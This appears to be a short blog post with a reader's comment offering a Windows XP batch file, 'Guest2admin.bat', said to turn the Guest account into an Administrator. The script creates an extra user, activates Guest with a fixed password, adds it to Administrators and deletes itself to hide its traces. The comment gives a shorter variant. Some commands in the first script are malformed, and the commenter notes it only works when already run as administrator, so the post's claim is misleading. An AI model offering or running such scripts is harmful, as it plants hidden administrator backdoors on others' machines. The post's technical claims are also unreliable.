Convert Guest Account into Administrator Account
Now here’s a small trick I found by which you can convert a Guest account on Windows XP into an Administrator one. But, first the disclaimer: This is only for educational purposes only. So don’t try to damage anything at someone else’s place.
All you need to do is copy the code below, copy/paste it into Notepad and save it as Guest2admin.bat on your desktop.
echo off
title Please wait...
cls
net user add Username Password /add
net user localgroup Administrators Username /add
net user Guest 420 /active:yes
net localgroup Guests Guest /DELETE
net localgroup Administrators Guest /add
del %0
Double-click the file to execute or type the above-given code in Command Prompt.
I have only tried this once or twice. I found this file in a corner of my PC, so I thought sharing it with my readers.
I hope you enjoyed this little trick.

My name is Phillip,14 years of age.The method above works but it leaves a password attached to the guest account.Most likely the password would be 420.
Now the method works but only if the user running the bat file is an administrator user account.otherwise if you try to run the bat in a limited account,it would not make the changes.
here is a better way.it is the same.but instead put this in the bat file you create
echo off
title modifying
cls
net localgroup guests guest /delete
net localgroup administrators guest /add
That is it.Remember it is the same thing u can say.
Enjoy
